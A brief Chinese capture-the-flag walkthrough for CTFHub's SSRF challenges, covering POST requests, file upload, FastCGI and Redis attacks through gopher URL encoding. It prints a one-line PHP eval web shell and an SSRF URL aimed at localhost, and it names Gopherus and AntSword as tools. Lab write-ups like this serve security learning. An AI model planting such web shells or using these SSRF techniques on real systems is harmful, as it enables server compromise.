ctfhub-ssrf通关攻略（二）

POST请求

?url=http://127.0.0.1/flag.php

右键查看网页源代码

把源代码复制粘贴在输入框后回车，使用bp抓包

修改格式如下

对代码进行编码

把编码后的粘贴到记事本，把全部%0a替换为%0d%0a，结尾再加一个%0d%0a

再把代码进行一次编码后粘贴在搜索框后

把://和：改回

访问后即可得到

上传文件

查看flag.php文件

<?php @eval($_POST[cmd]);?>

编辑木马保存在1.php文件

右键查看源代码--编辑上传按钮

把木马文件上传

抓包后同样修改代码

对修改后的代码进行编码，编码后粘贴在记事本如图进行全部替换

替换后再进行一次编码，把编码过的粘贴在网页后即可得到

FastCGI协议

使用Gopherus-master

使用蚁剑上传木马后连接

在目录下找到

Redis协议

输入指令

编码转换

使用工具连接

根目录下找到